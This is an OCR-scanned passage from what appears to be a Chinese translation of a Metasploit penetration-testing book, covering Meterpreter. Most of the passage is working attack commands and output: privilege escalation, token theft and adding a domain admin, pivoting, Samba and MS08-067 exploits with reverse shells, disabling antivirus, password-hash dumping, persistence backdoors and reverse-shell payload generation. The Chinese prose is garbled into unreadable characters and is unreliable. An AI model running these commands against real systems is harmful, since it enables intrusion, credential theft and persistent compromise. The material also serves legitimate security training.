Process 2896 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>net user bob

« + SNIP . . .
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
C:\»*Z

Background channel 1? [y/N] vy

/& L BoR gyt #Ed, BATH Meterpreter 2163t A % shell®, #i net user bob, TILLH
#| bob /M 1E Users W41, AREM A, RAHZHRIOMM. EXMKSOHRET, AW
BobEE R Z M, AR TR e RN, iR SAM B A4k P s adng
AEEIZ AL, Meterpreter 7] LS JROGXFE A Rk, 56 TR AT LAE R . WS, #% CTRL-Z
B shell I+{# B Meterpreter &1 .

$87<: Meterpreter £ <> 35 [T — — /& Meterpreter 45%| & £ 6984%, Tl A background
Hest ) MSF #83% £, Meterpreter 923645 4£1E54T. SR/ sessions -1 #= sessions -1 2% id
T i& = ] Meterpreter 44| & .

BRAELEFRAT IR IR BE D Bl SYSTEM AR . W F AR, AN use priv dr4-km# priv
e, UE VTR R BB GXLERTERAT RE O N8 . RIGH getsystem iy & 22 KFBUR
THE) A 0 R SRR ELE B RAR . AT LAHI A getuid 4k 2 IKEL OB PR S8 4% . R 453
%3B[F (& NT AUTHORITY\SYSTEM, XFREWRHE BAIRIhIREG 7% H RBUR.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

H6E Meterpreter

meterpreter > use priv

Loading extension priv...success.
meterpreter > getsystem

...got system (via technique 4).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

FA T LA rev2setf fir4>, U)3R[E] Meterpreter shell 2315 R4 46 ) K S .

65 SHEEE

TE4- BB, JATK B E PR R LT B Kerberos R, 3 M 7E EHHAUERR T,
KR E LA RIS . 2 FEE 2 Meterpreter BORRIIIIREZ —, MHEENAARH
8.

WARLURH S, W RIEEXT AN ALETBENR, MIANRT REHELT

-/ Meterpreter f1%£8%, TEEH A MAAE 13 AFAFFEXENE. EZAPEAXGH
AR, —/> Kerberos &ML AOXBIMRS 28 b T L08R IRBTEREE I — B2
AA R VRel LA RLZ AN G802 SR AR R4, ilid Meterpreter AT LA B SsE B 5 1) /1 65
MO AN BE R At (R, SRS AR AT AR B B B R K S, H R R 8. X a2 KR
RAVI HERER T %, BREKH Meterpreter SKHPER) 55—~ F .

6.6 {EH ps

FERXABIFof, AV Meterpreter [ ps iy FlI2S HHTIEAT KN HIFLRP LA RIS ITIX LR
AP KS . BAIFTEEI 2 72 SNEAKS.IN®, S 5 f 7 44 ihazdomainadmin®.

meterpreter > ps

Process list

PID Name Arch Session User Path

0 [System Process]

4 System X86 0O NT AUTHORITY\SYSTEM

380 cmd.exe x86 0 OSNEAKS,INVihazdomainadmin®  \System\

Root\System32\cmd.exe
- « « SNIP . ..

meterpreter >
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit % izt #& B

WFATR, FA1H A steal token #r4H1 PID 2% GXH £ 380) R¥BUSEE G A1
Ah.

meterpreter » steal_token 380
Stolen token with username: SNEAKS.IN\ihazdomainadmin
meterpreter >

BMCLmIhhEE 7TIREHER K, DA Meterpreter A& LU B 5 FH P RIZIT T .
FLetF 0L T pstin & A REFY B B R Iz AT RUEERE . 3RA11VT LUE Hincognito i & FI45 th R4
ERTLUR AR S . RS RWREARR, 8% 01R N 75 2 F N 2 psty 4 Mincognito iy & 14
H a5 %
3L use incognito fir-& A, incognito BEHR, SR/FIEIL list_token -u M4 FIESH 4., O
0] LU B SNEAKS.IN\ihazdomainadmin Al P TS . IMAERATTLIEEMB AT .

meterpreter > use incognito

Loading extension incognito...success.

meterpreter > list_tokens -u

[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

SNEAKS.IN\ihazdomainadmin @
IHAZSECURITY\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available

NT AUTHORITY\ANONYMOUS LOGON

wF B, BAVRIHHA T ihazdomainadmin 4 M@ HEIN T — MA@, RELER
FTHEERUNEO. (FOH A DOMAIN\WUSERNAME M {EEEBMABNREEHT, \)
B H12% 4 192.168.33.50. '

meterpreter > impersonate_token SNEAKS.IN\\ihazdomainadmin ©@

[+] Delegation token available

[+] Successfully impersonated user SNEAKS.IN\ihazdomainadmin

meterpreter > add_user omgcompromised p@55word! -h 192.168.33.50 @

[*] Attempting to add user omgcompromised to host 192.168.33.50

[+] Successfully added user

meterpreter > add_group_user "Domain Admins" omgcompromised -h 192.168.33.50 ©

[*] Attempting to add user omgcompromised to group Domain Admins on domain controller
192.168.33.50

[+] Successfully added user to group

88

24 W WwW. 176K u.CoM



BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

¥6HE Meterpreter

ZE¥ add_user A add_group_user #r &b}, iEHRIGE T-h B35, XNMSHEEREEER
S INE R B Rl 20X RS8R 0 1P Mtk XRP B ERE AR LAY A REE bk
B, B 5B R BT R4 LK Kerberos Ah, #RaT IR E, LUABIV MR E K,
XA kA M EAEAT G HL AR ARSI Y.

6.7 EBidBkRIL T H b4l =R

BEtR Bt (Pivoting) /& Meterpreter $E4E0 —FhEriti ik, RVF M Meterpreter £ 5t ™
ARG LA, RNBGH IR T — & EHL, bR DHER A X G188
A Ay Bk Lo 0 4 P ) LA AR 48, Bl Il e B T 1 A A e TR O A P Y R

A, BURIEMNEBERN FLaElL, BdEMRRAART MRS, HEA
HI LR ES T Meterpreter #8355, (AXMNRE LR A HFEERNFG AT, AMIREAREERE
Wi AMRSE, XHREEETH MR, BERIGE SV RER C 2 A EH 1
Meterpreter £8 i B it A & B4 28 o 9 HC Al AL 28

ETFmAE TR, BTN N THEGE—MERRSE, R EEX DRI B H AT
HHEABNLEE . HE, TAIEERX Windows XP WA TIRIAEGE:, MIh/E DA R A2, X
A% ) — A Ubuntu REEHATHdT. Kardlig IP & 10.10.1.124 F sk, Hixg
192.168.33.1/24 F 4% .

FAMR BB AR 2 3KG T HA RSB T7 BB, FrLlXiE R 5 B frm 2 Esr
. BATKAERAE scripts/meterpreter/ B 5% 1] Meterpreter M4, XL AR T Al LIFE
Meterpreter {8 Fl RI#4H ZhEE -

[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1075)

meterpreter > run get_local_subnets ©

Local subnet: 192.168.33.0/255.255.255.0

meterpreter » background ®

msf exploit(handler) > route add 192.168.33.0 255.255.255.0 1 ©
msf exploit(handler) > route print ©

Active Routing Table

Subnet Netmask Gateway

192.168.33.0 255.255.255.0 Session 1 ®
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i& % i 5 &

A8 5L run get_local_subnets #7%, 7F Meterpreter &P B ZE RS FAM TN
0. I AR T Windows XP HLIFHHH 5C 2 MU HIBUR, R G RATVH B LE B 612176,
& MSF #im P HATRINBE i 2O, HMAGREETEMEE ID (124 EM AN ) #lid
Brdissis 1 kT, A/5# 1t route print 4 ER YAliE KM BB R EO. TTLIFEREM
BURKIFRR SN T Bt O .

WG BAIX HA5 Linux REVATH B ER T, X BAEARRET Samba 134 H KR
Bai, X ANWEIAAFTE T HATIH Metasploitable ¥E41 1.

use msf exploit(handler) > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp

msf exploit(lsa_transnames_heap) > set LHOST 10.10.1.129 @
LHOST =» 10.10.1.129

msf exploit(lsa_transnames_heap) > set LPORT 8080

LPORT => B0BO

msf exploit(lsa_transnames_heap) > set RHOST 192.168.33.132 @
RHOST => 192.168.33.132

msf exploit(lsa_transnames_heap) > ifconfig @

[*] exec: ifconfig

etho Link encap:Ethernet HWaddr 00:0c:29:47:e6:79
inet addr:10.10.1.129 Bcast:10.10.1.255 Mask:255.255.255.0
inetb addr: feB80::20c:29ff:fe47:e679/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:23656 errors:0 dropped:0 overruns:0 frame:0
TX packets:32321 errors:0 dropped:0 overruns:0 carrier
collisions:0 txqueuelen:1000
RX bytes:4272582 (4.2 MB) TX bytes:17849775 (17.8 MB)
Interrupt:19 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:600 errors:0 dropped:0 overruns:0 frame:0
TX packets:600 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0
RX bytes:41386 (41.3 KB) TX bytes:41386 (41.3 KB)

mst exploit(lsa transnames_heap) > exploit

[*] Started reverse handler on 10.10.1.129:8080

[*] Creating nop sled....

[*] Trying to exploit Samba with address oxffffe4io0...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Calling the vulnerable function...
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

HEE6E Meterpreter

[+] Server did not respond, this is expected

[*] Trying to expleit Samba with address oxffffe4i1...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn np:192.168.33.132[\1sarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0. 0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Calling the wvulnerable function...

[+] Server did not respond, this is expected

[*] Trying to expleit Samba with address oxffffesiz...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Calling the vulnerable function...

[*] Sending stage (36 bytes)

[*] Command shell session 1 opened (10.10.1.129:8080 -> 192.168.33.132:1608) @

it ifconfig f14 /R M 415 O, Fi 5 LHOSTORM RHOSTO4E & 317 % th, AT LLFE #,
LHOST ¥ E R A HHLN [P Hukk. HAMNERT, RHOST ZHi) 1P bk d B T HAx
W% F W P bk, A S BRI LES E TP, Rxt AT Bl XN B
AR X A RS TP R A H AR AT . XRER T, mRMERHARY, B
BB — KA 192.168.33.132 I RILLIR, XA SIS F AR T EZEEN L@
BB SN . B exploit A& HUTWIRFAIA, RBUAM—F, SO EFREHL, Mk
Windows XP EIL T #ldE# 0. A, WREA B B3t A MBEATEMRERM, AT LUE
H] Metasploit P B ] scanner/portscan/tcp $AREIR, ZMBIHLAESE H T Metasploit K O &
SLH B E A

$25%: ke TvA4E A scanner/portscan/tep 1344 BB i BAAE, # B IxF RBAATEH
Wik o adh, KERMAFLE @Y FE, RAUURT T ToAR R ZA KT B 47 F R it A7
BkAR G 3% 2 434,

TESERT BB Frh, RATEANBRRZ)S M route add #v4 5 Meterpreter FXC i & TE7R N2

M, WREEM AR —E, RAOTAEUEFE load auto_add_route 4

msf exploit(mso8_067 netapi) > load auto_add_route
[*] Successfully loaded plugin: auto add_route

msf exploit(ms08_067 netapi) > exploit

[*] Started reverse handler on 10.10.1.129:443

[*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1090)

[*] AutoAddRoute: Routing new subnet 192.168.33.0/255.255.255.0 through session 1
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

i

%

Metasploit & iE MK 18 mE

6.8 {¥ M Meterpreter Bz

Meterpreter {14 fRMI A< ] LATE Meterpreter 237 B #f B R AT RA AT, BRFCAR S 56 52 LI
HMES . RERMNATHENHFARNA, HREPREDEIA LB EER.

f27R: Meterpreter 495" B p K B AT EEABAER) SHE s EME b, RMNEAT FHR

AL BN Y B A Ao B g AR,

il “run BIAZE” @4, WLLTE Meterpreter £33 IEFTY RMA . AW S HEE
17, el ReR Pty i A A BN

EEa R A EERZIE RS LT AL E RS RE R TR, RaTLUER VNC Btz
28 AR Gt 0 5L 00 £ St B 7y AR R, (EARAR VY () B AL I B AL S . B SRS T,
R RR A RERBBUE R, TIIRTCIE VT 1) BT, (AFEHY: Metasploit REW FIRATH & — 1 .

FE A, EAVEAT run vne 654, ERERS L VNC &35, R LLEETT
screen_unlock #r4 X} H bRl 2§ b K S AT AR 6. st AEE B B AR EHUE AT VNC & 17,

meterpreter > run vnc

[*] Creating a VNC reverse tcp stager: LHOST=192.168.33.129 LPORT=4545)

[*] Running payload handler

[*] VNC stager executable 37888 bytes long

[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\CTDWtQC.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.33.129:4545,..

[*] VNC Server session 2 opened (192.168.33.129:4545 -> 192.168.33.130:1091)

XRBSMHE HRENN VNC BB R D, RFEERFinfisim.

meterpreter > run screen_unlock

[*] 05 'Windows XP (Build 2600, Service Pack 2).' found in known targets
[*] patching...

[*] done!

6.8.1 TBiH#H#iE

LBRATH G RGN, HH EXHE D Internet Explorer 22 254 IR 45 3HTIRIAFRI A 19, 058 H4x
FHLXHA T RME, Meterpreter iGHKMZ X, NSRS HEEENEREELR. HT
BEIX A, BATAT AR SR N G BB B R, K Meterpreter 215 1T8 B i 7725 4]
THRHEREN . NP RARRFERD, DTN REEHIERE.

meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: revterp.exe (2436)
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

¥ B8E Meterpreter
Migrating to explorer.exe...

[*]
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)

6.8.2 XHAFHFWH

FEEHETT LA R LG FERBIRLAE T, FRER B RN TR~ R
LAV TR, EXFER T, AT LUEIT killav 5 FEBIAR (S LA OCHER .

meterpreter > run killav

[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...

[*] Killing off cmd.exe...

6.8.3 KBAZKEDRHE

IR H IS A B4 0] LR B R AT E s AL I, SRHATM R R ) wie
HESCFRS . a7 LU run hashdump dr 4 IR78 BRS04 754 -

metexpreter > run hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY de4b35306c5f595438a2f781768772dz2. ..
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:e52cac67419a9a224a3b108f3fabchbbd: 8846f7eaee8tb117ad06bdd830b7586¢:::

6.84 EFEHWRILMFFARE

MEEFINERRALOTAERSRAE, TUSTEELERMA. FTEEHRNOR
WA.pcap B SCAFA& RAE M TR, FHEERSBE Wireshark 5 T RN THRAILL- 1 WSHETH
ERERHEE, DHSEdREFERHIMNFE.

meterpreter > run packetrecorder -i 1
[*] Starting Packet capture on interface 1
[*] Packet capture started

6.8.5 HEARZER

Scraper AT LLFIZSHAREM RAEBRBIREMER, TURBASLMEN. TREE
FEME. EREEDSEAE. WERSE S UL H HKEY_CURRENT_USER (HKCU).
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &iERIXIE

meterpreter > run scrapexr

[*] New session on 192.168.33.130:1095...

[*] Gathering basic system information...

[*] Dumping password hashes...

[*] Obtaining the entire registry...

[*] Exporting HKCU

[*] Downloading HKCU (C:\WINDOWS\TEMP\XklepHOU.reg)

6.8.6 ITHIFFAIL

Meterpreter [¥] persistence il A< f VF{E A\ Meterpreter {XZ, AR RA FEH 2 )5 Meterpreter
EREIZTT. WHERFRIERE R, TR EERAHIN N, wREgE TR, L
A FR E BT () 58 T i 1 .

e WREBEAXANHRE, TARTRZIGHATHAR. wRITMEE, E0ER
AT VA L AGE, RIS £ 406915 194X,

WFFT7R, ATEAT persistence A ik RGEFFHL H JH 85 Meterpreter (-X), 50 # (-i 50)
HE IR, 995 11 24 443(-p 443), ERA B I 1P 24 192.168.33.129. 88 /5 i use multi/handler
A HATHT®, FERE T - AHESHZ GHIT exploit i, WLIER R K87 T %
%0,

meterpreter > run persistence -X -i 50 -p 443 -r 192.168.33.129

*] Creating a persistent agent: LHOST=192.168.33.129 LPORT=443 (interval=50 onboot=true}

*] Persistent agent script is 316384 bytes long

*] Uploaded the persistent agent to C:\WINDOWS\TEMP\asSnqrlUDRwO.vbs

*] Agent executed with PID 3160

*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xEYnaHedooc @

*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
xEYnaHedooc

msf> use multi/handler @

msf exploit(handler) > set paylead windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse tcp

msf exploit(handler) > set LPORT 443

LPORT => 443

msf exploit(handler) > set LHOST 192.168.33.129

LHOST =» 192.168.33.129

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.33.129:443

[*] Starting the payload handler...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 2 opened (192.168.33.129:443 -> 192.168.33.130:1120) @

L Lo K Ko Ko W |
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

E63FE Meterpreter

TE4RE K A5RS, BER Meterpreter {2 () ME—7p% 2 M Bk HKLM\Software\Microsoft\ Windows\
CurrentVersion\Run\} 133 i 2 8 Ft C:\WINDOWS\TEMP\H ] VBScript (4, F CMIBRIFiEx
M FAR(E (H14n HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xEYnaHedooc®). —
ST LA i Meterpreter S8 3 shell B EMEAT M kR . @ RARME13 A GUI B @S, TTLMEA run
vne fr4m R SR AT M AT IR . ORI BREMER N MBHRBLEE, FUSEE
Metasploit %5 0¥ i 2 6 i) A8 T e % . O

6.9 MEREBENHERET

BRI EI P HFE, Meterpreter § JRMIA F SIS0 RIS BEHEE, BN
Metasploit FEHR{ F 45— MIFRAEFRIRE 3K o f5 93599 7] DU B4 B BEEURIIR IR B SRR i e 3 45
#J. Meterpreter B4 LARTA#E A B CRER, AL BEE A X SR K.

BRI G4 A AL 2 — VT ATEFTE 218 M L AR R B0t . wAR—F, 5, IR
A 10 DNIFIUH Meterpreter 23, LIRTHEAETERIER N — A HZ1T hashdump i€, B
5 S I K B A . TTERAE , SR W ME, PR AT URIBT A ) 218 0T 28 |, RIRYIZ4T hashdump
4%,

TR ER T W Ja 188 B R 6 -

meterpreter » run post/windows/gather/hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY deab35306c5f595438a2f78f768772d2...
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

{*] Dumping password hashes...

AR ARSI ZE FT G B S BB AR IR, AT LA IR JGTE AR 4% TAB #:

meterpreter > run post/

6.10 $&4 <17 Shell #% ) Meterpreter

Metasploit HESH— M FrThRER P LATE R A PGB R AL A sessions -u fip & ¥ 217
shell 2% Meterpreter. TIRBATTIF LA K EHEE H 6217 shell EARERL, FR AKX SHLHF
RSB ME R T EMR, X HI& T2 Meterpreter B2 B@EEHH. T
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit ;&iERiR 5 /E

1 (1B F J A FH MS08-067, LA 3w 41T shell ¥E4 payload, #R)5% H 2% % Meterpreter shell
BT R,

root@bt:/opt/framework3/msf3i# msfconsole
msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08 067'...

Exploits

SE=om===

Name Rank Description
windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack
Corruption

msf > use windows/smb/ms08_067_netapi

msf exploit(mso8_ 067 netapi) > set PAYLOAD windows/shell/reverse_tcp

payload => windows/shell/reverse tcp

msf exploit(ms08_067_netapi) » set TARGET 3

target => 3

msf exploit(ms08_067_netapi) > setg LHOST 192.168,33.129 ©

LHOST => 192.168.33.129

mst exploit(ms08 067 netapi)} > setg LPORT 8080

LPORT => 8080

msf exploit(mso8_067_netapi) > exploit -z ®

[*] Started reverse handler on 192.168.33.129:8080

[*] Triggering the vulnerability...

[*] Sending stage (240 bytes)

[*] Command shell session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1032)
[*] Session 1 created in the background.

msf exploit(mso8_067_netapi} » sessions -u1 ®

[*] Started reverse handler on 192.168.33.,129:8080

[*] Starting the payload handler...

[*] Command Stager progress - 3.16% done (1694/53587 bytes)
{*] Command Stager progress - 6.32% done (3388/53587 bytes)

- - « SNIP . . .

{*] Command Stager progress - 97.99% done (52510/53587 bytes)
[*] Sending stage (748032 bytes)
msf exploit{(ms08_067 netapi) > [*] Meterpreter session 2 opened (192.168.33.129:8080 -»>

192.168.33.130:1044)
msf exploit(mso8_067_netapi) > sessions -i 2

[*] Starting interaction with 2...
meterpreter >

BAMER setg 1L E LHOST M LPORT X0, X7 sessions -u 1 2OTF4%N
Meterpreter B R L F K. (setg f3-4H LPORT F1 LHOST 2 %1% & b Metasploit 14 /F3F
&, MARRBREX—MERZA. )
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

#F6E Meterpreter

TERE B A BGE R ERAVER T exploit z i1 4 @, XNy & AVFFERIh R BARGY
B AN P ) 2B AT AL . W BRI AR IR exploit 74, WJLLE % CTRL-Z 44
BRI EE 51217,

6.11 EITMIINES Railgun £B43#24E Windows API

Patrick HVE %5 ] Metasploit fff IZH#F——Railgun, 7] LLE 5 Windows A<Hl API #4T
AZH . ¥ Railgun ¥ N F| Metasploit HE4E, 4R v LAIE T Meterpreter A Windows API. 25/l
F, fEFEAEH, BATH Meterpreter i A\ F|—4 22 H LI Ruby shell(irb). irb shell BV
Fl Ruby i Meterpreter HHAZ H. X MEITHEATHA Railgun 68— HH “hello
world” FIFHE.,

meterpreter > irb

[*] Starting IRB shell

[*] The 'client' variable holds the meterpreter client

>> client.railgun.user32.MessageBoxA(0, "hello", "world","MB_OK")

£ Windows XP HErRZE L, nl LIF B8 H 65 1, brf#: FRE world {5 842 F2“hello”,
XA, BRATE RHEASEAE R T user32.dll P ¥) MessageBoxA BA#(.

$87R: X T Windows API #43¥ 3L 4%, =] ¥A47 ¥ http://msdn.microsoft.com.

X B RATRA R4 Railgun 4 4E 4075 (R0 LATE F HTAY Metasploit 4222 H & T kB
FFM: external/source/meterpreter/source/extensions/stdapi/server/railgun/), {BHRTAT LS H] e
1558 K L BE o

F 47 B Railgun B8N RERUE S Win32 A H N HFEF— 4 4] Windows API BIHES] .

6.12 /N5

{8 AR ELTE N Meterpreter 248 T Fe4r 1 ## . B 1A X Meterpreter i 75 LhBeflZ Eidt
TR, B BRATHIEVRAES AR PRz A P B IS AR, Meterpreter & —/NIETERFEE TR H)
TR, A KEY EMAFM N TRMSCR. JMRES THREHIFEONBE, FAEmMERSL
HERLMFEATET . 2 16 TH, REGLFFIWME M LMK ORI H O Meterpreter 4,
I T ## %) Meterpreter ffl A it 3 44 45 46 2 W ol ve v 1)
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

s 00

ok K

AT BB WA, BN AR TREAFBRFSRM R, ZHE-MRASE BN
M40 . R A F AT RIBEAT R, BARK AR RTRERLSHERS, HFARBS
Mgk O, £AFED, RIOLFIB-SFEERAFRAGNDE, HFELIHR - LEHNAR
R E.

KEBCRE RS FARFILNS (signatures) FKIRFIBRAT . XEAFEMRBER T EF,
Fik xRS FSERZREAT I, H I RERNR. RILRNRE, AERASFHNA LR
B REBSHBAREN EBICRE, SUREIEASITIHE.

PR AR B, XA ABRARE RAiEdE. B5%, SRS ABEERER, SER
AT KRS ERS R 3 5 R SO AT R T . UK, R ER LR SRR, NS {UE
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &i% ik & &

KBUHIES BRI, MIARRAEERM . XARR SCHLR AR R 52, HR SRR
LA RAR R ZhE

R, AERAT HRBREAR AN, XMOEERSSEEMOMA G, RKR
B R RIEH RSO BATEAT @B, A B AT REBOR BRI B

AT EIFAR BT, BATTT LLE X 2 BRI ER 37 80 H ARG — M — K B 84T
EAEGRERAREAFALAICAL. thAh, HEEAT HEERIBEBHN, Metasploit FIBH AT
ATURAE A HETT, DREFYEREARRER [, IR IF ERBHEERA S,
REFO B OERN e O B AR RS LiEfT.

EAFETRMNWELARICE - EfHhS, MREXEQRCETZNES. RNE
FEH R LR A B2 M A R TR, IR BN FO T ETERBRF, FEAE
HABRMAMAFEELR. ¥RARABR, BATEMEZEZRNLE.

7.1 £ MSF B s A28 S A i T8y = 4 Ssc i

FEFR AP ZAT, SEibTRATE R A MSF BGE BT A K3 (msfpayload) 6l —
NAIMSTIZATH) Metasploit EATFEF. fEAWI%EE, WAL AN LA P shell FEFF, &
AE 8% )3 B H i HL, ot — Ay 417 shelle X E LKA/ H msfpayload & 4 & A
windows/shell_reverse_tcp B fif. FFUETT, AMEHH shell_reverse_tep Mk 310 O IR EH
WJHZH, WefR.

root@bt:/# msfpayload windows/shell_reverse tcp 0 ©

. . SNIP . .
Basic options:
Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port

WMAERATH —IXIT msfpayload ¥4, FH b4 s Windows PE 3§ ({84 ol 3473048
Frib®BH& S8 XEBINFTEMEHA N WOFT/RE X 2% LR & i H CHrR .

root@bt:/# msfpayload windows/shell reverse tcp LHOST=192.168.1.101 LPORT=31337 X @ >
/vaxr/www/payloadi.exe

root@bt:/# file /var/www/payloadi.exe

